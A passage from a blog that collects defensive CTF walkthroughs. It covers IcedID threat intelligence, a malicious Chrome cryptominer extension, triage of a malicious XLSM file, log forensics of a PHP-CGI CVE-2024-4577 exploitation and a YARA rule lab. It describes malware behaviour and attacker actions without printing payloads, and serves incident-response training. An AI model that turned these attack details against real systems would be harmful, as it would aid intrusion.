To analyze the sample, we’ll leverage VirusTotal and Recorded Future Triage (tria.ge) to review previous analysis results about the malware. Then, we’ll pivot to MITRE ATT&CK, a global knowledge base of adversary tactics and techniques, to determine which threat actors are linked to the malware. Sounds like fun, right? Let’s get into it!

Thanks for reading and going on this investigation with me!

Challenge Link: https://cyberdefenders.org/blueteam-ctf-challenges/icedid/

Challenge Scenario:

A cyber threat group was identified for initiating widespread phishing campaigns to distribute further malicious payloads. The most frequently encountered payloads were IcedID. You have been given a hash of an IcedID sample to analyze and monitor the activities of this advanced persistent threat (APT) group.

Setup the REMnux Analysis Environment & Extract the challenge file:

To keep this write-up focused, I’m going to skip a step-by-step setup directions of REMnux, but if you’d like to set up your own environment, please follow the guide provided by REMnux directly. For reference, I used the virtual appliance method:

Get the Virtual Appliance | REMnux Documentation _The easiest way to get the REMnux distro is to download the REMnux virtual appliance in the OVA format, import it into…_docs.remnux.org

Once we have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!

Question 1: What is the name of the file associated with the given hash?

Let’s kick off this challenge by extracting the challenge file using the password linked in the challenge.

Once extracted, we’ll see the file, hash.txt, which contains a file hash of an IcedID malware sample. According to MITRE ATT&CK, this malware " # “is a modular banking malware designed to steal financial information that has been observed in the wild since at least 2017”.

With the unique file hash in our possession, we’ll to external services to gather threat intelligence and learn more about the malware. We’ll start by using VirusTotal first.

191eda0c539d284b29efe556abb05cd75a9077a0

In your web browser, navigate to the VirusTotal site and paste the file hash into the search field.

https://www.virustotal.com/gui/file/d86405130184186154daa4a5132dd1364ab05d1f14034c7f0a0cda690a91116d

To answer Question 1, navigate to the " # "

**Details" ** tab and scroll to the **" # "

Names" ** section, to find the file names associated with the hash. One of them matches the format given by the question.

Question 2: Can you identify the filename of the GIF file that was deployed?

Next, to answer Question 2, we need to identify the GIF downloaded by the malware which we can locate in several places on VirusTotal.

The first spot we can check is on the " # "

Relations" tab under the " # "

**Contacted URLs" ** section. There we’ll find several URLs that point to the file, 3003.gif.

Another area that we can discover this information is on the " # "

Behavior" tab under **" # "

Network Communication**"

" # "

HTTP Requests," where network communications are documented after the file has been executed in the VirusTotal sandbox. We’ll see the same references to the GIF file that we saw before.

Question 3: How many domains does the malware look to download the additional payload file in Q2?

We’ve already stumbled on the answer in the previous question when we examined the " # "

Contacted URLs" section. Looking for URLs hosting 3003.gif, we’ll note five listed domains:

Question 4: From the domains mentioned in Q3, a DNS registrar was predominantly used by the threat actor to host their harmful content, enabling the malware’s functionality. Can you specify the Registrar INC?

Now, let’s take a closer look at the five domains we discovered in the previous question, focusing on the " # "

Contacted Domains" section. This table gives us some additional, high-level information including the domain registrars for each entry.

To answer Question 4, we need to determine the predominant registrar among the five hosting the GIF file. From the table, we’ll identify that 2/5 used NameCheap.

Question 5: Could you specify the threat actor linked to the sample provided?

Since we know the malware family name already, we now need to hunt for the threat actor group that deploys this malware. For this, we can turn back to the MITRE ATT&CK knowledge base page for IcedID, which will point us in the right direction.

IcedID _IcedID is a modular banking malware designed to steal financial information that has been observed in the wild since at…_attack.mitre.org

Scroll down to the " # "

Groups That Use This Software" section to identity the groups linked to the software. Let’s pick the first one (G0127) since it has the most references available.

Once on the page, we can see a description of TA551, also known as GOLD CABIN.

Question 6: In the Execution phase, what function does the malware employ to fetch extra payloads onto the system?

For the final question, let’s jump back to VirusTotal and hunt for execution tactics within the results. Select the " # "

Behaviors" tab, scroll down to the " # "

MITRE ATT&CK Tactics and Techniques," and expand the **" # "

Execution" ** section.

After a cursory scan, we’ll spot a potential hit for the function we are looking for, UrlDownloadToFile. Next, let’s take this a step further and check the malware’s file hash on another source, Recorded Future Triage (Tria.ge).

Reports | Triage _Edit description_tria.ge

After submitting the file hash, let’s see what we can discover by selecting any of the available reports. Then, within the report, navigate to the Malware Config section which displays the source of the file.

We’ll see within the malware’s configuration a similar function to the one we identified on VirusTotal, calling the URLs previously identified. This gives us a high degree of confidence that we’ve found the right function. Now let’s submit the answer and wrap up this investigation!

https://tria.ge/241110-ncqlyavnct

Conclusion:

Job well done! After collecting the IcedID file hash, we moved over to VirusTotal to learn more about the next stage payload downloaded by the malware and where it was hosted. Then, we leveraged MITRE ATT&CK to identify which threat actor group the malware is associated with. Finally, we reviewed the same sample on Tria.ge to gain additional indicators of how the payload is downloaded. We’ve now put the pieces together and can provide our team with context and indicators of compromise to watch out for! Having completed our objectives, let’s close out this walkthrough of the IcedID Lab.

A big thank you to CyberDefenders, for another engaging lab. I always keep a threat intelligence challenge in the rotation. I believe that experience with tools like VirusTotal, MITRE ATT&CK, and Tria.ge is a fundamental skill in this field. Hands-on practice with these tools can be especially beneficial when time is of the essence during incident response or when defending against a specific threat actor. I don’t often get the opportunity to work with Tria.ge, but every time I encounter it, I’m really impressed with the output and results — I’ll definitely turn to this tool more often in the real world!

Thanks for your support and going through this investigation with me. Remember, if you found this walkthrough helpful don’t forget to give it a clap! Your feedback really is invaluable and helps fuel my commitment to support your journey in the security community. Cybersecurity is a team sport and we’re in this together!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

VirusTotal: https://www.virustotal.com/

MITRE ATT&CK — Software — IcedID (S0483): https://attack.mitre.org/software/S0483/

MITRE ATT&CK — Groups — TA551 (G1027): https://attack.mitre.org/groups/G0127/

Recorded Future Triage Reports: https://tria.ge/s?q=d86405130184186154daa4a5132dd1364ab05d1f14034c7f0a0cda690a91116d

Blue Team Labs Online — Browser Forensics -Cryptominer Walkthrough

Mon, 10 Feb 2025 00:00:00 +0000

Blue Team Labs Online — Browser Forensics — Cryptominer Walkthrough

An incident response challenge using FTK Imager and the Google Chrome browser cache.

Image Credit: https://blueteamlabs.online/

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a comprehensive walkthrough of the Browser Forensics -Cryptominer challenge from Blue Team Labs Online, you’re in the right place.

In this incident response scenario, we’re handed a forensic image of a victim’s device suspected to be infected with crypto mining malware, and it’s up to us to uncover more details about the activity. Our objective is to analyze the local Google Chrome browser cache to identity the miner, determine if it’s malicious, and understand how it operates.

To perform the analysis, we’re going to leverage FTK Imager to explore the device image. Then, we’ll examine the Google Chrome cache and enrich our findings with some external research to learn more about the crypto miner. Sounds like fun, right? Let’s get into it!

Thanks for reading and going on this investigation with me!

Challenge Link: https://blueteamlabs.online/home/challenge/browser-forensics-cryptominer-aa00f593cb

Challenge Scenario:

Our SOC alerted that there is some traffic related to crypto mining from a PC that was just joined to the network. The incident response team acted immediately, observed that the traffic is originating from browser applications. After collecting all key browser data using FTK Imager, it is your job to use the ad1 file to investigate the crypto mining activity.

Setup the Analysis Environment & Extract the challenge file:

Safety first! It’s always important when working with lab/challenge files from Blue Team Labs Online (or any educational lab/challenge/range) to keep yourself protected by performing these tasks in a dedicated, isolated virtual machine environment. For example, I’m using FLARE-VM for this challenge and walkthrough.

[GitHub - mandiant/flare-vm: A collection of software installations scripts for Windows systems that… _A collection of software installations scripts for Windows systems that allows you to easily setup and maintain a…_github.com](https://github.com/mandiant/flare-vm?source=post_page--- –2efb81522f2c—

– “https://github.com/mandiant/flare-vm?source=post_page--- –2efb81522f2c—

–”)[](https://github.com/mandiant/flare-vm?source=post_page--- –2efb81522f2c—

–)

Okay! Once we have our virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start our investigation!

Question 1: How many browser-profiles are present in Google Chrome?

Let’s kick off this challenge by extracting the challenge file, TUJTWfM5uUCHWUHzC5cfEDVYZqw9tYSgS53jWRKc with the provided password. Inside, we’ll find a folder containing BrowserData.zip — Go ahead and extract that one, too.

This will give us the challenge file browserdata.ad1, a disk image file created by FTK Imager. If you aren’t familiar with it, FTK imager is a forensic hard disk imaging tool. For this challenge, we’ll use it to mount the evidence/challenge file so that we can analyze the file system within the image, search the user’s Chrome history, and even extract artifacts from the image.

To start, launch FTK Imager and load the file by pressing _File > Add Evidence Item > Image File > S_elect the extracted Challenge File (browserdata.ad1).

Loading the Challenge File in FTK Imager

Now that we have mounted the image, we can expand the evidence tree and browse the disk artifacts.

Since the alert pointed to a browser-based attack, we need to navigate to the file path for the Google Chrome Browser data. You might be asking yourself, “where do I find that?” — great question! I’ll point to a handy resource from Foxton Forensics, Browser History Examiner — User Guide which can help point us in the right direction:

Location of Google Chrome history

Windows

C:\Users<username>\AppData\Local\Google\Chrome\User Data\Default C:\Users<username>\AppData\Local\Google\Chrome\User Data\Default\Cache

Back in FTK, navigate to that file path:

To answer Question 1, we’ll need to determine the location of the user profiles to analyze how many are present. Chrome profiles are stored in the user’s AppData > Local > User Data folder. Besides the default profile, additional profiles will be named “Profile #”.

Based on the evidence, there are two profiles: Default and Profile 1.

Question 2: What is the name of the browser theme installed on Google Chrome?

To answer Question 2, we’re searching for a browser theme. Let’s refer back to the Foxton Forensics guide where we’ll discover that user’s browser settings are stored in the Preferences JSON file.

Let’s check it out and leverage the “find” function to search for “theme.”

Examining the Preferences file for Google Chrome

This search leads us to a browser extension ID number. To get more information, let’s locate this extension in the Extensions folder by matching the string that we found in Preferences. Once inside of the corresponding Extensions folder, we need to find the theme’s name. This information might be found in the messages.json within the locales folder of the extension.

But first, let’s get some background on what the messages.json is from Google:

Each internationalized extension has at least one file named messages.json that provides locale-specific strings.

In other words, this file is used for translation and localization for different languages, including locale-specific strings. Maybe there is a helpful string here for us to discover the extension name? Let’s open messages.json to find out!

Examining the English messages.json file

Bingo! Inside of the file, we’ll see that the message string displays the name “Earth in Space.”

Question 3: Identify the Extension ID and Extension Name of the cryptominer

Now that we’ve identified the theme extension, let’s turn our focus to scanning through the rest of the installed extensions looking for the cryptominer. To do this, we’ll review the manifest.json file for suspicious entries in each of the extension folders. But what is the manifest file, anyway? According to Google:

Every extension must have a manifest.json file in its root directory that lists important information about the structure and behavior of that extension. This page explains the structure of extension manifests and the features they can include.

With that in mind, we can check the files starting from the first extension and moving our way down the list. Eventually, we’ll stumble on the below extension:

egnfmleidkolminhjlkaomjefheafbbb

The manifest file for a suspicious crytocurrency mining extension

This one looks a bit suspicious. To confirm that this is the extension we’re looking for to answer Question 3, let’s pivot and gather some external intelligence about this extension ID on Chrome-Stats.

DFP Cryptocurrency Miner - Extension Download _Allows staff members to mine cryptocurrency in the background of their web browser_chrome-stats.com

Our search provides us some valuable data and confirms that the extension is considered “very high risk” and was actually removed from the Chrome Web Store due to malware. This confirms our finding.

Question 4: What is the description text of this extension?

Fortunately, we’ve already discovered the answer to Question 4 in the manifest.json file under the “description” tag. Additionally, we can also find it listed on the Chrome-Stats page.

Crytominer extension description in the manifest.json

Crytominer extension description on Chrome-Stats

Question 5: What is the name of the specific javascript web miner used in the browser extension?

To answer Question 5, we’re going to refer back to the manifest.json. At the top of the file, in the “background” key of the manifest, notice the referenced script, background.js.

Let’s extract the JavaScript and examine it more closely. To extract the file from the image, locate the script in FTK’s file list, right-click it, and select “Export Files…”

Exporting the JavaScript from FTK

Once the file is exported, open it in Notepad++ or another text editor to view the script details. To answer Question 5, focus on lines 1 and 3, where we can determine that this script enables the CryptoLoot miner.

Question 6: How many hashes is the crypto miner calculating per second?

Continuing with our analysis of the miner in Notepad++, we can find a hashesPerSecond variable on line 17 with a value of 20**.**

Question 7: What is the public key associated with this mining activity?

Circling back to the variable on line 3, we’ll find the miner’s public key.

Question 8: What is the URL of the official Twitter page of the javascript web miner?

We’ve made it to the last question! To complete our investigation, we need to locate the official Twitter page for the Crypto Loot miner**.** All we need to do is perform a quick Google search.

Keep in mind, since this challenge was originally published, Twitter was rebranded to X, so the results might look a little different. But we can follow the answer format and use the Twitter domain instead. Go ahead and submit the answer, and let’s wrap up this challenge!

Conclusion:

Mission accomplished! Using FTK Imager, we explored a forensic image of the infected device, focusing on the Google Chrome cache. From the cache, we identified a crypto mining extension that we determined was malicious using Chrome-Stats. After that, we looked at the miner’s JavaScript functions to understand how it works. Now that we have analyzed the miner, and completed our objectives, let’s close out this walkthrough of Browser Forensics -Cryptominer with a big thank you to Blue Team Labs Online, for the fun and engaging challenge!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

FTK Imager: https://www.exterro.com/digital-forensics-software/ftk-imager

Foxtron Forensics — Browser History Examiner — User Guide: https://www.foxtonforensics.com/browser-history-examiner/chrome-history-location

Chrome for Develops — Manifest file format: https://developer.chrome.com/docs/extensions/reference/manifest

Chrome-Stats: https://chrome-stats.com/

LetsDefend — Remote Working Challenge Walkthrough

Mon, 03 Feb 2025 00:00:00 +0000

LetsDefend — Remote Working Challenge Walkthrough

Investigating a suspicious XLSM file with VirusTotal

Image Credit: https://app.letsdefend.io/

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog while searching for a comprehensive walkthrough of the Remote Working challenge from LetsDefend, you’re in the right place.

In this scenario, we’re provided with a suspicious Excel file, and it’s up to us to determine whether it’s malicious or not. To do this, we’ll collect the file hash and hunt on VirusTotal to see what we can learn about the sample.

This challenge is perfect for beginners and serves as a primer for using VirusTotal for triage, rather than focusing on static analysis of the malicious file directly. However, it offers great practice opportunities for all skill levels. Sounds like fun, right? Let’s get into it!

Thanks for reading and going on this investigation with me!

Challenge Link: https://app.letsdefend.io/challenge/remote-working

Challenge Scenario:

Analysis XLS File

File link: /root/Desktop/ChallengeFiles/ORDER_SHEET_SPEC.zip

Question 1: What is the date the file was created? (UTC) Answer Format: YYYY-MM-DD HH:MM:SS

Let’s kick off this challenge by extracting the sample file from ORDER_SHEET_SPEC.zip within the ChallengeFiles folder.

Inside, we’ll find a macro-enabled Excel file, ORDER SHEET & SPEC.xlsm. While a macro-enabled file doesn’t necessarily mean it’s malicious, it does raise some suspicions, especially if it was delivered over email like in a phishing campaign. But that’s what we’re here to figure out!

We’ll start our analysis with getting an overview of the suspicious file by grabbing its SHA256 file hash. With this unique hash, we can pivot our search to an external threat intelligence service, like VirusTotal, to save time in our analysis and quickly determine the file’s status.

We’ll grab the file hash of the sample directly from a terminal window within our analysis environment by right-clicking in the folder and selecting " # "

Open in Terminal" to launch it.

Once in the terminal, we can use the command below to calculate the SHA256 hash of the sample:

sha256sum ‘ORDER SHEET & SPEC.xlsm’

With the file hash in hand, navigate to VirusTotal and submit it to see if the file has been previously analyzed. Once the results load, you’ll notice that most security vendors have already detected the file as malicious.

VirusTotal VirusTotalwww.virustotal.com

To find the answer to Question 1, navigate to the Details tab of the submission, and look under History to find the file’s creation time.

https://www.virustotal.com/gui/file/7bcd31bd41686c32663c7cabf42b18c50399e3b3b4533fc2ff002d9f2e058813/details

Real World Tip: If you’re new to using VirusTotal, it’s important to remember that public submissions are made available to the security community. DO NOT upload anything that contains personal or confidential data.

Question 2: With what name is the file detected by Bitdefender antivirus?

Navigate back to the Detection tab of the VirusTotal page. Under the security vendors’ analysis section, locate the malware threat name reported by Bitdefender.

https://www.virustotal.com/gui/file/7bcd31bd41686c32663c7cabf42b18c50399e3b3b4533fc2ff002d9f2e058813/detection

Question 3: How many files are dropped on the disk?

Continuing our analysis, let’s determine how many files are dropped on the disk once the malware is executed. We can locate this information on the Behavior tab, scrolling down to the Files Dropped section, and counting the entries.

https://www.virustotal.com/gui/file/7bcd31bd41686c32663c7cabf42b18c50399e3b3b4533fc2ff002d9f2e058813/behavior

Question 4: What is the sha-256 hash of the file with emf extension it drops?

Expanding on the information we collected in the last question; we need to locate a dropped file with the .emf extension. Once we’ve found it, press the + button to expand the selection, revealing the SHA256 hash of the dropped file.

Question 5: What is the exact url to which the relevant file goes to download spyware?

We’ve made it to the final question! There are several spots within VirusTotal where we can determine the network communication but for this walkthrough, let’s use the Relations tab and focus on the Contacted URLs section.

Of the two URLs, we can see that one of them is hosting an executable file. That’s pretty suspicious…

https://www.virustotal.com/gui/file/7bcd31bd41686c32663c7cabf42b18c50399e3b3b4533fc2ff002d9f2e058813/relations

Clicking the URL entry will take us to the VirusTotal page for the URL where we can see that several vendors have identified it as malicious. I think we’ve found the answer to Question 5! Now let’s wrap up this investigation!

https://www.virustotal.com/gui/url/ef74a71ba69605f7e6b528e74876ca52fa0b120b9e4850f7ec08871675ad9c49

Conclusion:

Mission accomplished! By leveraging the power of VirusTotal, we successfully analyzed the malicious Excel file and learned about some of its behavior, including creation time, dropped files, and second stage URL. Now that we’ve completed our objectives, let’s close out this walkthrough of the Remote Working challenge.

A big thank you to LetsDefend, for the fun lab. While this challenge isn’t especially difficult, it’s good hands-on practice using VirusTotal and exploring some of its lesser-used features. These types of challenges would have been especially useful earlier in my own security journey to better understand what tools were available with practical applications to test with. I hope that this challenge helped pique your interest in using VirusTotal in your own workflow!

Thanks for your support and for going through this investigation with me. Remember, if you found this walkthrough helpful don’t forget to give it a clap! Your feedback really is invaluable and helps fuel my commitment to support your journey in the security community. Cybersecurity is a team sport and we’re in this together!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Microsoft Support — File formats that are supported in Excel: https://support.microsoft.com/en-us/office/file-formats-that-are-supported-in-excel-0943ff2c-6014-4e8d-aaea-b83d51d46247

VirusTotal: https://www.virustotal.com/

LetsDefend — PHP-CGI (CVE-2024–4577) Challenge Walkthrough

Mon, 27 Jan 2025 00:00:00 +0000

LetsDefend — PHP-CGI (CVE-2024€“4577) Challenge Walkthrough

Investigating a web server exploitation attempt using Apache & PHP logs, Notepad++, and the Windows Prefetch.

Image Credit: https://app.letsdefend.io/

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a comprehensive walkthrough of the PHP-CGI (CVE-2024€“4577) challenge from LetsDefend, you’re in the right place.

In this scenario, we’re jumping into the shoes of a security analyst to investigate an exploitation attempt against a critical web server. Our objective is to analyze the provided artifacts and determine which vulnerability the attacker attempted to exploit. To perform the investigation, we’ll navigate through several logs, including the Apache HTTP server logs, PHP logs, and Windows Prefetch files. The indicators of compromise found in these logs will help us ultimately identify the vulnerability (CVE) used in the attack. Sounds like fun, right? Let’s get into it!

Thanks for reading and going on this investigation with me!

Challenge Link: https://app.letsdefend.io/challenge/php-cgi-CVE-2024-4577

Challenge Scenario:

You will confront an attempted exploitation of a newly discovered and unpatched vulnerability (CVE-2024-XXXX) in a critical software component within your organization’s infrastructure. The CVE allows for remote code execution, posing a significant threat if successfully exploited. At 12:05 PM UTC, an alert is generated by the Intrusion Detection System (IDS) and Intrusion Prevention System (IPS), indicating an attack on one of your web servers. Your task is to analyze the provided artifacts, confirm the exploitation attempt, and answer the provided questions.

Question 1: What version of PHP was running on the server during the incident?

Despite the title spoiling some of the mystery, let’s approach this challenge without any additional background about the vulnerability so that we can perform the investigation using the available artifacts. To get started, extract the artifacts from artifacts.7z within the ChallengeFile folder.

Inside, we’ll find three folders that give us an idea of what artifacts are available for analysis:

Apache24: This folder contains the files related to the Apache HTTP Web Server, including configuration files.
php: This folder holds the PHP runtime and its associated files and resources, including the executables, configuration files, logs, and temp files.
prefetch: Prefetch files are used in Windows to speed up the loading of applications. These files contain information about the applications that have been run, including their execution history, file paths, and timestamps.

We’ll explore each of these folders during our investigation, but let’s start with the php folder since we’re searching for the running PHP version. But first, some background about PHP from the PHP manual:

PHP (recursive acronym for PHP: Hypertext Preprocessor) is a widely-used open source general-purpose scripting language that is especially suited for web development and can be embedded into HTML.

Instead of lots of commands to output HTML (as seen in C or Perl), PHP pages contain HTML with embedded code that does something

With that context, let’s start our search by locating any plaintext logs. We’ll stumble across snapshots.txt in the root folder — let’s see what’s inside by opening the file with Notepad++.

Right at the top, we see some snapshot information that contains the version number of PHP. It seems like we’re on the right track, but let’s go a step further and verify by executing php.exe since we have it available, passing the -v parameter. To do this, open the Windows Command Prompt and run the following command from the php directory:

php.exe -v

This double-confirms our earlier finding that the PHP version is 8.2.19.

Question 2: When PHP is configured to run as CGI, which directive in httpd.conf specifies the scripts that handle requests for PHP files?

To answer Question 2, we first need to locate the httpd.conf file. Searching the artifacts folder for httpd.conf , we’ll discover that it’s located in the Apache24 > conf folder. According to the Apache documentation:

Apache HTTP Server is configured by placing directives in plain text configuration files. The main configuration file is usually called httpd.conf.

Let’s open the file in Notepad++ and search for php-cgi.exe to help us locate the correct directive.

The search takes us directly to the line above. Notice the Action directive? Remember the question is asking us to find the " # “directive in httpd.conf specifies the scripts that handle requests for PHP file”— let’s do some research in the Apache docs to learn more about this directive.

The [Action](https://httpd.apache.org/docs/2.4/mod/mod_actions.html#action) directive lets you run CGI scripts whenever a file of a certain MIME content type is requested. The [Script](https://httpd.apache.org/docs/2.4/mod/mod_actions.html#script) directive lets you run CGI scripts whenever a particular method is used in a request. This makes it much easier to execute scripts that process files.

This directive fits what we’re looking for!

Question 3: What is the IP address of the attacker who attempted to exploit our server?

To answer Question 3, we’ll need to pivot to another artifact: the access.log file within the Apache24 > logs folder.

After a cursory scan of the logs, we’ll observe several IP addresses in the log entries. However, compared to the others, one of them is making some strange requests. Notice the odd parameters included with the HTTP POST requests to /upload.php from 192.168.110.1…

Question 4: The attacker targeted a specific page on the server with malicious payloads. Which page did the attacker target with malicious payloads?

Oh, awesome! The method that we used to discover the attacker’s IP address already provided us with the answer to Question 4!

Question 5: What version of Apache is running on the server?

Let’s move onto the other artifacts within the Apache24 > logs folder since the version information isn’t available in access.log . This time, we’ll check the error.log to see what information we can find.

After opening this in Notepad++, we’ll see the Apache version listed on line 1.

Question 6: The attacker managed to execute commands on the server. What was the first process initiated by the attacker’s commands during their successful attempt?

Remember back in Question 1 that we noted a third set of artifacts in the prefetch folder? Now it’s time to check them out. Once the folder is open, sort the folder contents by date modified so that we can organize the timestamps more efficiently.

The folder contains the list of executables loaded into the prefetch. Remember that prefetch files are used in Windows to speed up the loading of applications. These files contain information about the applications that have been run, including their execution history, file paths, and timestamps, which is exactly what we’ll need to answer Question 6.

Because we already examined the access.log in Question 3, we already have a general timeline of when the attacker accessed the server. So, let’s start there, using the timestamps of the first event range targeting the /upload.php page.

Pay special attention to the +0300 in the timestamp. This offset indicates that it’s 3 hours ahead of UTC, meaning the local prefetch timestamps could be in UTC time so they won’t match the logs exactly. For example, 14:24:31 > 11:24 AM.

Now, looking in the prefetch folder, nothing seems to match the timestamps from the first attempt…

No problem! Let’s check the next set of events in the access.log with the attacker’s source IP address, and match those to the prefetch data — this gets us closer to the time of the IDS alert.

Bingo! Now we have some matching time stamps and we can see the first process executed is whoami.exe to check the username of the currently logged-in user.

Question 7: Before the attacker was detected and blocked, they executed another command, launching a new process. What process was launched by this command?

Fortunately, the steps we took to answer the last question also work for Question 7. Using the same matching prefetch timestamps, we can determine that the attacker executed another command, calc.exe , which is often used as a proof-of-concept demonstrating remote code execution

Question 8: What is the CVE number of the exploit used by the attacker?

Now let’s put everything we’ve learned together and determine which CVE the threat actor exploited. To recap:

The compromised web server is running PHP 8.2.19.
PHP is running as CGI on Windows.
The attacker’s payload targeted the /upload.php page.
The attacker executed whoami and calc.exe, indicating we are looking for a remote code execution.

Let’s do a Google search with these parameters to see what information we can discover:

php cgi 8.2.19 windows remote code execution vulnerability

The answer is — a lot! We can select any number of the returned links to learn about this vulnerability, but all of them refer back to the disclosure write-up from the DEVCORE Research team. The referenced PoC for CVE-2024€“4577 looks very familiar based on what we saw in our logs.

Security Alert: CVE-2024-4577 - PHP CGI Argument Injection Vulnerability | DEVCORE æˆ´å¤«å¯‡çˆ¾ _While implementing PHP, the team did not notice the Best-Fit feature of encoding conversion within the Windows…_devco.re

PHP RCE: A Bypass of CVE-2012-1823, Argument Injection in PHP-CGI _Hi, I am Orange Tsai from DEVCORE Research Team. We recently found a vulnerability on PHP. We have reproduced the…_github.com

Conclusion:

There we have it! Using the PHP logs, we discovered that the web server was running a version of PHP vulnerable to CVE-2024€“4577. After that, we leveraged the Apache logs to discover the attacker’s IP address, what web page was targeted, then correlated the data with the Windows Prefetch to uncover evidence of remote code execution. Now that we have scoped the attack and completed our objectives, let’s close out this walkthrough of the PHP-CGI (CVE-2024€“4577)!

Another big thank you to LetsDefend for continuing to provide these awesome labs. I chose this challenge to better understand how web servers work and see what logs are available during incident response. I appreciated that the discovery process built a catalog of evidence that could be used to locate the applicable CVE number. It was a fun process to do the detective work based on the clues. After going through this challenge, I’ve gained a better understanding of this vulnerability and assembled valuable resources to tackle the triage process in the real world.

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

PHP Manual: PHP: Introduction — Manual

Apache Documentation: Configuration Files — Apache HTTP Server Version 2.4

Devcore Blog — Security Alert: CVE-2024€“4577 — PHP CGI Argument Injection Vulnerability: https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability-en/?ref=labs.watchtowr.com

PHP Security Advisories GitHub: https://github.com/php/php-src/security/advisories/GHSA-3qgc-jrrr-25jv

National Vulnerability Database (CVE-2024€“4577): https://nvd.nist.gov/vuln/detail/cve-2024-4577

LetsDefend — YARA Rule Challenge Walkthrough

Mon, 20 Jan 2025 00:00:00 +0000

LetsDefend — YARA Rule Challenge Walkthrough

An introduction to YARA rules using Notepad++, IDA, and Hybrid Analysis

Image Credit: https://app.letsdefend.io/

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a detailed guide of the YARA Rule challenge from LetsDefend, you’re in the right place.

For those unfamiliar with YARA rules, this challenge provides an excellent introduction. Before diving in, let’s quickly cover what YARA is based on the information from the project’s GitHub.

YARA is a tool aimed at (but not limited to) helping malware researchers to identify and classify malware samples. With YARA you can create descriptions of malware families (or whatever you want to describe) based on textual or binary patterns. Each description, a.k.a rule, consists of a set of strings and a boolean expression which determine its logic.

Put another way, YARA rules are written to identify malware based on matching specific content within a sample. For this challenge, we’ll examine a YARA rule in Notepad++ to understand the parts of a rule. Then, we’ll apply the rule’s logic to search for matching strings within a malware binary using IDA. Finally, we’ll pivot to Hybrid Analysis to search the submissions data with the rule and identify matching samples. Sounds like fun, right? Let’s get into it!

Thanks for reading and going on this investigation with me!

Challenge Link: https://app.letsdefend.io/challenge/yara-rule

Challenge Scenario:

Welcome to the YARA Rules Challenge! This exercise is designed to introduce you to the basics of YARA rules and how they work.

File Location-1: C:\Users\LetsDefend\Desktop\ChallengeFiles\sample.7z

File Location-2: C:\Users\LetsDefend\Desktop\ChallengeFiles\sample.yara

Question 1: What is the name of this YARA rule?

Let’s jump right into the action! The ChallengeFiles folder contains two files: sample.yara and sample.7z.

We’ll use both files during the challenge but let’s focus first on examining sample.yara. Remember, YARA Rules are written to identify malware based on matching content within the sample. So, let’s open sample.yara using a text editor like Notepad++ and see what’s inside.

To answer Question 1 we’ll start out easy, looking for the rule identifier. According the YARA documentation, " # "

each rule in YARA starts with the keyword rule followed by a rule identifier" .

Question 2: What is the name of the author of this YARA rule?

To answer Question 2, refer to the meta section of the rule, which contains details about the rule itself such as the author, description, and purpose of the rule.

Question 3: What is the extension of the encrypted file?

For Question 3, we need to identify the extension added by the GwisinLocker ransomware that the YARA rule is targeting. We can find this information in the strings section of the rule, specifically in the $ext variable.

According to the YARA documentation,

" # "

The strings definition section is where the strings that will be part of the rule are defined. Each string has an identifier consisting of a $ character followed by a sequence of alphanumeric characters and underscores, these identifiers can be used in the condition section to refer to the corresponding string. Strings can be defined in text or hexadecimal form…"

Question 4: What is the assembly instruction that stores the $hex opcode in the YARA rule?

Now that we’ve gotten some understanding of the YARA rule, it’s time to pivot to the second file within the ChallengeFiles folder, sample.7z.

Extract the sample from the archive using the password from the challenge description which leaves us with a binary to analyze.

We’re going to perform some static analysis to locate information in the binary targeted by the YARA rule, specifically the opcode stored within the $hex variable of the strings section. Copy the hex string, we’ll need it for the next steps.

To perform the analysis on the binary, we’re going to use IDA, a powerful disassembler that will let us peek into the code. Don’t worry, you don’t need to be a coding expert (I’m definitely not!) to make use of the tool.

IDA is already installed and available for use from the Tools folder of the LetsDefend analysis environment. Go ahead and launch it. Once it opens, drag the extracted sample into the window to load it using the default options.

The first thing we’ll do to find the answer is leverage IDA’s search function to look for the matching sequence of bytes. In the Binary search window, paste the string we copied from the YARA rule into the search box, select find all occurrences, and press OK.

Bingo! We found the information we’re looking for. The instruction stores the opcode in the rax register.

Question 5: What is the address that we can find with $hex opcode with the IDA tool?

Our previous search also located the information needed for Question 5 under the Address column, so we’re already halfway to the answer!

Pay attention to the requested answer format: 0x0000 — that doesn’t look exactly like what we see in IDA does it?

No problem! The question is looking for the hexadecimal notation, so we just need to perform a simple conversion. Strip off the leading zeroes used for padding (it doesn’t change the value) and then add the " # "

0x," prefix to indicate that the number is in the hex format. For example, 0000000000003B51 becomes 0x3B51 .

Question 6: What is the name of the function that has $cde2?

Now that we have learned how to use the search function in IDA, answering Question 6 is much more familiar. We’ll repeat the binary search process like we did in Question 4, but this time we’ll search for the string stored in the $cde2 variable of the YARA rule.

This search will lead us to the function start_routine in the results.

Question 7: What is the file signature in the YARA rule?

To answer Question 7, let’s jump back over to the YARA rule and focus on the condition section at the bottom to determine the file signature. In a YARA rule, this section is where the logic of the rule is defined.

What we’re looking for is the uint32(0) value, which represents the file signature value of the binary. This condition identifies specific file types.

Question 8: Hunt on a hybrid-analysis site with Yara rules. What is the " # "

threat level" of the sample timestamped September 1, 2022, 16:11:41 (UTC)?

Okay, we’ve made it to the last question! For our final task, let’s gather some threat intelligence about the malware. While we could copy the hash1 value from the meta section of the rule, let’s try something a bit different.

Navigate to the Hybrid Analysis website, click the Yara Search tab, then press Advanced Search.

Next, copy the rule from the LetsDefend analysis environment, and paste it into the Advanced Search (YARA) window.

Now for the cool part! Hybrid Analysis will hunt their submissions database and present samples matching the YARA rule! This is a handy and flexible method for applying YARA rules to hunt public submissions on Hybrid Analysis. Once we retrieve the results, we need to match the date/time stamp requested in the question.

https://www.hybrid-analysis.com/yara-search/results/5d48cfcb207cbe9e9cfeefebc3284c5e05d6dbc433455bc2540e68b3c937b9bc

Hybrid Analysis has assessed the threat of this binary as malicious. Awesome job navigating this challenge! Let’s wrap this up.

Conclusion:

